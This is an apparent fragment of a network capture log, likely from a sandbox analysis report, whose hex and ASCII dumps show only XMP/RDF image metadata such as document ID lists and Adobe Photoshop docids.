66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 36 34 35 42 44 35 38 37 42 35 45 37 46 46 32 43 41 41 32 41 44 30 37 39 
31 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>5620AF162B12ACDBA937A5EB8DB9BB52</rdf:li> <rdf:li>5634DC74BB1A4974553D7052A20B51A5
</rdf:li> <rdf:li>56352F0FFAE23E0717CE4CBDED4DF00C</rdf:li> <rdf:li>56419525661DC9BF6737850B337B7EBA
</rdf:li> <rdf:li>5645BD587B5E7FF2CAA2AD0791F16EAD</rdf:li> <rdf:li

2022-05-26 11:46:49 UTC 3385 IN Data Raw: 3a 6c 69 3e 35 44 35 37 44 33 46 42 33 34 30 38 45 36 35 32 46 36 34 37 43 31 44 30 44 35 45 34 32 38 38 
38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 35 41 36 38 37 39 30 45 44 41 33 33 45 39 31 46 35 43 
33 33 34 42 37 31 44 33 32 42 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 36 37 46 42 43 30 45 3
4 32 39 30 38 31 46 38 35 33 41 33 37 39 42 41 41 35 45 31 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 35 44 36 37 46 44 36 30 44 32 32 46 38 42 45 37 37 43 39 42 36 31 36 32 35 32 41 44 41 44 39 38 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 44 36 46 46 42 45 35 42 45 45 34 38 39 41 43 42 37 46 33 42 36 44 32 35 34 38 
39 41 45 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 
Data Ascii: :li>5D57D3FB3408E652F647C1D0D5E42888</rdf:li> <rdf:li>5D5A68790EDA33E91F5C334B71D32B8A</
rdf:li> <rdf:li>5D67FBC0E429081F853A379BAA5E1868</rdf:li> <rdf:li>5D67FD60D22F8BE77C9B616252ADAD98</
rdf:li> <rdf:li>5D6FFBE5BEE489ACB7F3B6D25489AE40</rdf:li> <rdf:li>5

2022-05-26 11:46:49 UTC 3456 IN Data Raw: 42 36 38 33 39 38 46 46 32 41 44 36 39 39 32 45 36 41 38 43 42 30 31 37 37 45 32 34 44 42 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 36 41 39 45 30 42 46 34 41 31 31 41 44 31 45 38 35 39 33 31 39 32 38 33 
45 37 30 34 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 37 41 36 34 41 35 32 35 37 42 46 38 38 
38 46 41 38 42 42 46 34 36 37 41 43 44 32 46 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 39 39 4
6 45 44 36 44 46 32 39 35 33 42 46 45 32 37 31 35 31 30 31 34 33 41 38 43 33 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 36 42 41 41 33 30 35 43 34 32 35 42 30 46 41 41 46 31 30 37 32 44 32 43 32 38 36 43 35 42 45 43 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 42 41 44 45 41 
Data Ascii: B68398FF2AD6992E6A8CB0177E24DBB</rdf:li> <rdf:li>6B6A9E0BF4A11AD1E859319283E7042F</rdf:li> 
<rdf:li>6B7A64A5257BF888FA8BBF467ACD2FBB</rdf:li> <rdf:li>6B99FED6DF2953BFE271510143A8C304</rdf:li> 
<rdf:li>6BAA305C425B0FAAF1072D2C286C5BEC</rdf:li> <rdf:li>6BADEA

2022-05-26 11:46:49 UTC 3472 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 39 36 33 32 45 34 38 43 38 46 45 38 45 36 37 34 44 35 31 
37 34 45 39 33 31 39 42 42 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 39 37 30 38 31 32 41 36 
35 34 33 35 33 44 39 39 36 30 37 35 41 45 36 39 38 36 31 38 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 37 39 37 38 33 38 42 45 37 34 30 38 32 41 38 32 32 39 45 46 42 36 44 38 30 43 36 41 32 31 36 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 39 38 35 41 45 30 39 46 34 39 42 31 44 41 33 33 44 33 44 32 36 39 34 35 38 
42 45 36 31 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 39 39 32 33 37 37 43 33 46 44 42 32 45 34 
43 34 44 43 42 45 46 34 34 35 39 43 35 36 39 35 37 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>79632E48C8FE8E674D5174E9319BBDA5</rdf:li> <rdf:li>7970812A654353D996075AE
698618E09</rdf:li> <rdf:li>797838BE74082A8229EFB6D80C6A216B</rdf:li> <rdf:li>7985AE09F49B1DA33D3D269
458BE6102</rdf:li> <rdf:li>7992377C3FDB2E4C4DCBEF4459C56957</rdf:li
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2022-05-26 11:46:49 UTC 3504 IN Data Raw: 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 45 41 35 41 43 42 33 34 42 46 30 35 41 44 31 38 33 35 34 34 
34 41 38 33 35 36 35 46 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 45 43 35 35 33 31 34 42 38 
31 36 44 44 38 34 36 41 44 31 39 46 34 38 41 32 39 38 30 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 3
8 30 46 31 30 34 41 42 41 33 36 35 41 42 39 44 33 41 31 37 30 46 44 37 42 42 46 39 36 35 41 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 38 30 46 43 37 46 33 36 34 45 35 31 44 38 41 36 35 39 45 45 43 36 34 46 42 42 46 38 39 
34 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 30 46 43 41 31 37 42 46 39 35 44 36 37 45 46 44 42 
33 38 41 36 41 37 32 30 33 33 41 45 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: :li> <rdf:li>80EA5ACB34BF05AD1835444A83565F86</rdf:li> <rdf:li>80EC55314B816DD846AD19F48
A2980B5</rdf:li> <rdf:li>80F104ABA365AB9D3A170FD7BBF965AD</rdf:li> <rdf:li>80FC7F364E51D8A659EEC64FB
BF894FB</rdf:li> <rdf:li>80FCA17BF95D67EFDB38A6A72033AE91</rdf:li> 

2022-05-26 11:46:49 UTC 3520 IN Data Raw: 42 31 37 36 37 43 30 44 43 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 44 41 46 38 35 
42 42 33 31 45 34 31 43 34 30 41 36 34 31 41 41 41 42 45 31 45 38 39 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 38 43 44 43 38 39 45 43 31 31 39 32 34 35 34 30 39 42 38 36 42 34 44 33 45 38 44 33 34 37 33 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 46 30 39 30 45 38 46 30 30 38 44 36 30 42 44 32 38 30 36 46 46 37 
44 43 38 46 42 32 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 46 31 41 38 34 43 38 44 41 43 44 
31 39 35 31 43 37 31 35 44 45 39 37 46 36 43 41 45 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 43 
46 33 44 30 31 33 41 39 38 34 42 33 35 38 43 39 45 46 34 46 45 30 39 30 
Data Ascii: B1767C0DCD0</rdf:li> <rdf:li>8CDAF85BB31E41C40A641AAABE1E8939</rdf:li> <rdf:li>8CDC89EC1
19245409B86B4D3E8D34731</rdf:li> <rdf:li>8CF090E8F008D60BD2806FF7DC8FB294</rdf:li> <rdf:li>8CF1A84C8
DACD1951C715DE97F6CAE0C</rdf:li> <rdf:li>8CF3D013A984B358C9EF4FE090

2022-05-26 11:46:49 UTC 3568 IN Data Raw: 46 32 44 32 31 42 36 31 33 37 39 42 41 39 36 43 31 43 32 45 35 41 39 34 35 34 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 39 42 39 31 46 38 46 42 41 34 46 30 43 31 43 34 31 44 41 42 39 39 41 32 33 31 41 30 30 31 
31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 39 36 39 43 37 43 37 44 42 35 32 32 31 41 43 37 39 
37 38 42 44 42 32 33 45 37 35 35 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 39 42 44 36 35 41 3
9 36 42 30 34 45 30 43 36 30 36 32 46 35 30 39 43 44 33 33 32 31 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 39 42 39 46 30 31 30 38 33 31 43 30 31 37 38 34 41 43 30 46 45 38 34 38 33 33 30 39 45 41 30 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 42 41 37 45 44 42 35 44 41 
Data Ascii: F2D21B61379BA96C1C2E5A94548</rdf:li> <rdf:li>9B91F8FBA4F0C1C41DAB99A231A00112</rdf:li> <
rdf:li>9B969C7C7DB5221AC7978BDB23E7559F</rdf:li> <rdf:li>9B9BD65A96B04E0C6062F509CD3321AC</rdf:li> <
rdf:li>9B9F010831C01784AC0FE8483309EA02</rdf:li> <rdf:li>9BA7EDB5DA

2022-05-26 11:46:49 UTC 3583 IN Data Raw: 37 43 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 32 34 30 44 33 31 42 42 33 38 43 38 
32 41 42 38 46 37 44 33 35 33 36 45 33 45 35 42 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 33 
42 42 32 41 35 44 36 45 45 38 44 44 32 33 37 38 32 31 32 43 35 41 31 33 36 35 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 41 32 33 43 45 43 46 30 44 33 37 42 38 31 33 38 36 30 46 38 46 37 38 42 32 30 35 39 35 37 34 
36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 33 44 46 36 32 41 36 41 32 30 45 41 30 41 38 34 30 39 
34 41 35 38 46 38 44 41 44 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 32 33 44 46 41 32 39 32 
31 45 44 36 34 44 33 35 36 39 46 38 35 34 42 31 45 44 45 39 34 35 37 3c 
Data Ascii: 7C0D</rdf:li> <rdf:li>A2240D31BB38C82AB8F7D3536E3E5BC0</rdf:li> <rdf:li>A23BB2A5D6EE8DD2
378212C5A13655FE</rdf:li> <rdf:li>A23CECF0D37B813860F8F78B20595746</rdf:li> <rdf:li>A23DF62A6A20EA0A
84094A58F8DAD932</rdf:li> <rdf:li>A23DFA2921ED64D3569F854B1EDE9457<

2022-05-26 11:46:49 UTC 3671 IN Data Raw: 44 43 45 32 39 33 42 32 31 38 33 41 32 37 36 33 43 43 30 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 41 46 43 46 34 41 44 39 44 39 39 43 41 31 34 39 44 37 32 36 41 31 37 34 34 35 33 42 37 45 38 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 44 31 36 39 42 30 41 37 38 38 42 45 44 33 35 45 46 37 46 31 41 38 42 30 
41 34 44 36 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 44 32 39 32 31 36 42 42 34 42 34 31 42 3
2 44 46 46 41 45 34 34 36 37 46 38 31 32 31 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 46 45 31 38 
36 43 34 45 44 30 37 46 46 46 34 30 42 33 32 46 46 38 44 36 42 35 33 37 42 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 41 46 45 43 41 37 38 30 41 32 32 43 31 38 34 31 35 
Data Ascii: DCE293B2183A2763CC0F</rdf:li> <rdf:li>AFCF4AD9D99CA149D726A174453B7E8D</rdf:li> <rdf:li>
AFD169B0A788BED35EF7F1A8B0A4D66E</rdf:li> <rdf:li>AFD29216BB4B41B2DFFAE4467F81215C</rdf:li> <rdf:li>
AFE186C4ED07FFF40B32FF8D6B537BFC</rdf:li> <rdf:li>AFECA780A22C18415

2022-05-26 11:46:49 UTC 3695 IN Data Raw: 3a 6c 69 3e 42 44 32 43 36 39 34 33 30 46 34 33 30 38 44 45 44 41 39 39 45 30 46 38 37 30 30 35 35 36 36 
46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 33 31 31 34 30 44 42 38 30 38 37 32 38 37 39 45 44 46 
43 30 39 41 35 43 30 30 39 41 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 33 36 41 46 43 30 34 4
4 46 33 41 36 38 39 44 37 46 45 30 35 43 36 38 33 46 30 33 35 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 42 44 33 41 34 43 44 38 44 44 37 32 30 45 33 39 33 42 43 44 39 33 33 36 45 32 38 39 46 30 42 30 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 44 34 41 31 31 46 43 41 44 39 39 45 44 34 32 46 39 33 33 30 39 31 33 42 34 39 
44 35 30 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 
Data Ascii: :li>BD2C69430F4308DEDA99E0F87005566F</rdf:li> <rdf:li>BD31140DB80872879EDFC09A5C009A8C</
rdf:li> <rdf:li>BD36AFC04DF3A689D7FE05C683F035B8</rdf:li> <rdf:li>BD3A4CD8DD720E393BCD9336E289F0B0</
rdf:li> <rdf:li>BD4A11FCAD99ED42F9330913B49D50CD</rdf:li> <rdf:li>B

2022-05-26 11:46:49 UTC 3703 IN Data Raw: 69 3e 43 33 45 42 39 43 44 44 34 41 43 31 41 42 44 34 34 31 33 41 37 41 34 39 36 34 38 30 32 35 37 38 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 33 46 42 34 44 32 43 34 43 44 43 35 34 46 46 34 31 46 43 38 36 44 
38 45 30 33 31 35 37 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 30 31 35 38 32 37 45 31 30 45 
37 36 44 39 42 42 34 34 39 44 32 46 32 31 36 43 34 31 39 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 3
4 30 41 37 30 32 36 44 33 41 45 45 34 41 37 42 32 37 38 43 45 39 30 30 30 33 42 36 45 36 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 43 34 31 33 37 37 42 42 33 34 30 37 36 39 31 32 41 38 45 35 32 46 38 31 44 33 35 34 34 
41 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 31 
Data Ascii: i>C3EB9CDD4AC1ABD4413A7A4964802578</rdf:li> <rdf:li>C3FB4D2C4CDC54FF41FC86D8E0315725</rd
f:li> <rdf:li>C4015827E10E76D9BB449D2F216C4191</rdf:li> <rdf:li>C40A7026D3AEE4A7B278CE90003B6E6B</rdf:li> 
<rdf:li>C41377BB34076912A8E52F81D3544AB2</rdf:li> <rdf:li>C41

2022-05-26 11:46:49 UTC 3719 IN Data Raw: 45 38 30 39 46 43 44 44 37 43 45 37 41 41 36 44 38 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
43 34 35 35 33 45 35 37 31 42 34 31 36 41 31 30 46 46 35 45 46 35 42 46 45 42 39 38 45 44 38 30 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 36 32 31 45 35 39 44 31 36 35 42 41 30 42 44 30 39 35 43 46 32 33 32 36 37 46 
33 30 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 36 35 31 37 35 38 30 32 38 42 43 34 44 32 38 3
3 32 31 36 46 31 36 32 43 44 41 37 37 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 34 36 44 32 34 30 
33 31 41 41 33 38 45 38 37 36 35 31 43 43 45 37 45 36 43 39 41 35 30 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 43 34 37 33 39 34 33 30 42 45 30 41 41 30 33 34 36 33 46 
Data Ascii: E809FCDD7CE7AA6D8A</rdf:li> <rdf:li>C4553E571B416A10FF5EF5BFEB98ED80</rdf:li> <rdf:li>C4
621E59D165BA0BD095CF23267F30E6</rdf:li> <rdf:li>C4651758028BC4D283216F162CDA77B2</rdf:li> <rdf:li>C4
6D24031AA38E87651CCE7E6C9A504A</rdf:li> <rdf:li>C4739430BE0AA03463F
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2022-05-26 11:46:49 UTC 3791 IN Data Raw: 69 3e 44 31 36 31 45 30 43 30 41 32 30 37 45 32 43 30 42 43 32 42 39 38 35 35 32 45 37 43 46 37 30 31 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 31 36 33 35 31 30 32 34 41 36 37 38 34 38 38 43 34 30 31 42 31 43 
41 37 34 31 39 38 32 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 31 36 42 45 46 46 45 34 43 38 35 
38 41 41 31 45 30 46 46 31 34 42 38 37 34 34 37 34 38 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 3
1 36 46 39 33 45 33 44 37 39 35 36 37 38 35 46 39 38 30 46 30 38 41 38 46 32 37 42 45 32 45 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 44 31 37 34 37 39 35 42 32 43 46 33 33 38 31 35 37 34 45 42 43 34 37 37 43 33 46 46 38 
44 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 31 37 
Data Ascii: i>D161E0C0A207E2C0BC2B98552E7CF701</rdf:li> <rdf:li>D16351024A678488C401B1CA74198265</rdf:li> 
<rdf:li>D16BEFFE4C858AA1E0FF14B874474847</rdf:li> <rdf:li>D16F93E3D7956785F980F08A8F27BE2E</rdf:li> <rdf
:li>D174795B2CF3381574EBC477C3FF8D21</rdf:li> <rdf:li>D17

2022-05-26 11:46:49 UTC 3807 IN Data Raw: 36 39 30 33 39 34 44 32 44 32 34 36 34 42 43 37 43 45 36 34 41 31 35 36 42 46 43 46 36 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 30 43 32 34 33 31 31 44 41 35 33 38 30 31 38 36 45 32 37 35 34 44 45 39 33 41 
34 45 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 31 38 46 32 46 46 39 30 41 31 43 35 41 33 41 
35 37 42 32 35 43 35 34 45 34 35 43 35 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 33 33 30 34 3
8 37 35 37 36 42 43 31 32 45 32 43 37 38 44 42 36 38 30 36 31 39 33 37 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 44 46 33 35 35 41 35 43 44 30 39 33 35 43 44 30 41 30 36 35 41 44 31 38 45 46 37 33 42 42 39 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 33 39 31 37 46 39 
Data Ascii: 690394D2D2464BC7CE64A156BFCF6</rdf:li> <rdf:li>DF0C24311DA5380186E2754DE93A4E39</rdf:li> 
<rdf:li>DF18F2FF90A1C5A3A57B25C54E45C595</rdf:li> <rdf:li>DF330487576BC12E2C78DB680619371F</rdf:li> 
<rdf:li>DF355A5CD0935CD0A065AD18EF73BB98</rdf:li> <rdf:li>DF3917F9

2022-05-26 11:46:49 UTC 3854 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 33 32 30 43 45 33 36 46 33 32 45 45 38 41 36 34 43 31 39 32 36 39 
39 39 42 46 46 44 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 33 34 34 39 37 45 32 34 37 31 36 
30 30 38 41 45 42 34 46 42 34 42 36 34 34 30 46 35 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 3
3 42 46 34 41 43 42 41 44 34 33 35 34 36 33 34 43 38 32 32 32 31 35 36 34 45 43 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 45 35 33 45 46 33 31 37 34 31 33 31 41 41 37 45 35 36 32 35 46 33 42 31 42 41 34 30 35 39 
45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 35 34 38 34 41 43 33 44 45 38 30 37 45 31 30 32 36 41 
42 30 42 32 34 36 30 37 38 30 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
Data Ascii: i> <rdf:li>E5320CE36F32EE8A64C1926999BFFD46</rdf:li> <rdf:li>E534497E24716008AEB4FB4B644
0F54A</rdf:li> <rdf:li>E53BF4ACBAD4354634C82221564ECBD3</rdf:li> <rdf:li>E53EF3174131AA7E5625F3B1BA4
059E3</rdf:li> <rdf:li>E5484AC3DE807E1026AB0B2460780305</rdf:li> <r

2022-05-26 11:46:49 UTC 3886 IN Data Raw: 44 34 42 35 30 44 44 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 31 46 41 44 44 42 
36 45 38 41 41 46 37 33 42 34 36 45 43 45 36 38 37 31 41 32 36 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 46 30 46 35 46 32 45 39 32 32 36 32 33 34 43 34 30 30 43 39 44 39 36 44 38 35 39 44 36 35 43 46 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 41 31 44 42 43 44 41 39 34 46 41 43 44 46 31 33 31 46 43 41 35 35 46 
35 44 32 43 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 30 46 43 31 46 32 36 45 45 43 43 31 42 44 
43 44 38 34 32 36 31 43 31 44 46 37 38 44 44 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 31 30 30 
36 33 30 42 37 44 43 41 39 31 41 37 33 37 37 44 45 36 31 43 35 44 32 31 
Data Ascii: D4B50DD04</rdf:li> <rdf:li>F0F1FADDB6E8AAF73B46ECE6871A2694</rdf:li> <rdf:li>F0F5F2E9226
234C400C9D96D859D65CF</rdf:li> <rdf:li>F0FA1DBCDA94FACDF131FCA55F5D2C54</rdf:li> <rdf:li>F0FC1F26EEC
C1BDCD84261C1DF78DDC6</rdf:li> <rdf:li>F100630B7DCA91A7377DE61C5D21

2022-05-26 11:46:49 UTC 3910 IN Data Raw: 42 38 39 38 34 43 42 46 34 30 35 30 31 38 30 30 36 35 34 31 30 35 42 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 46 45 30 35 35 43 39 36 44 44 38 32 45 39 43 33 34 46 30 31 32 37 44 45 37 36 39 45 46 45 37 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 30 45 38 39 37 42 42 36 35 32 31 46 33 43 31 44 46 36 33 
31 39 38 45 46 34 44 32 33 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 33 38 46 33 30 37 44 38 3
2 32 35 37 37 32 34 44 31 31 45 35 42 42 46 43 41 35 45 44 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
46 45 33 39 32 33 45 30 41 42 42 39 45 39 41 37 35 42 34 33 33 45 33 43 42 32 31 31 34 45 32 35 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 46 45 34 34 43 37 43 43 46 31 38 36 
Data Ascii: B8984CBF40501800654105B36</rdf:li> <rdf:li>FE055C96DD82E9C34F0127DE769EFE7C</rdf:li> <rd
f:li>FE0E897BB6521F3C1DF63198EF4D23CD</rdf:li> <rdf:li>FE38F307D82257724D11E5BBFCA5ED71</rdf:li> <rd
f:li>FE3923E0ABB9E9A75B433E3CB2114E25</rdf:li> <rdf:li>FE44C7CCF186

2022-05-26 11:46:49 UTC 3941 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 31 32 32 61 36 62 38 33 2d 36 35 34 35 2d 31 31 64 38 2d 38 66 34 39 2d 62 30 34 30 34 34 63 65 63 30 35 62 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 
32 61 39 31 66 35 37 2d 32 62 36 34 2d 31 31 65 37 2d 62 64 30 38 2d 65 62 35 35 61 31 31 31 61 33 30 64 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 33 30 35 
31 66 66 39 2d 33 62 34 30 2d 31 31 37 61 2d 38 35 65 30 2d 64 34 39 38 66 64 65 31 36 38 39 31 3c 2f 72 64 66 3a 6c 6
9 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 
Data Ascii: rdf:li> <rdf:li>adobe:docid:photoshop:122a6b83-6545-11d8-8f49-b04044cec05b</rdf:li> <rdf:li>adobe:
docid:photoshop:12a91f57-2b64-11e7-bd08-eb55a111a30d</rdf:li> <rdf:li>adobe:docid:photoshop:13051ff9-3b40-117a-
85e0-d498fde16891</rdf:li> <rdf:li>adobe:docid

2022-05-26 11:46:49 UTC 3973 IN Data Raw: 39 62 38 37 35 2d 39 37 64 35 2d 31 31 64 39 2d 38 64 39 34 2d 66 63 62 32 63 38 31 30 66 37 38 31 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 31 
65 32 38 35 32 65 2d 36 36 37 33 2d 31 31 65 37 2d 61 36 63 65 2d 39 62 31 65 38 31 34 33 38 34 65 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 32 33 34 61 
38 39 39 2d 63 34 37 65 2d 31 31 37 39 2d 62 32 38 62 2d 38 39 34 33 64 33 34 37 64 62 37 31 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 32 36 30 36 61 62 37 2
d 65 62 31 30 2d 31 31 37 37 2d 61 32 39 35 2d 64 36 30 64 39 35 
Data Ascii: 9b875-97d5-11d9-8d94-fcb2c810f781</rdf:li> <rdf:li>adobe:docid:photoshop:41e2852e-6673-11e7-a6ce-9
b1e814384e5</rdf:li> <rdf:li>adobe:docid:photoshop:4234a899-c47e-1179-b28b-8943d347db71</rdf:li> <rdf:li>adobe
:docid:photoshop:42606ab7-eb10-1177-a295-d60d95

2022-05-26 11:46:49 UTC 3989 IN Data Raw: 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 33 35 62 33 38 32 
34 2d 62 30 37 62 2d 31 31 65 37 2d 62 37 39 61 2d 61 63 35 66 62 31 63 31 63 30 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 37 33 61 31 61 30 39 32 2d 32 
37 61 62 2d 31 31 65 38 2d 62 34 62 62 2d 38 38 35 37 61 39 38 31 62 32 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
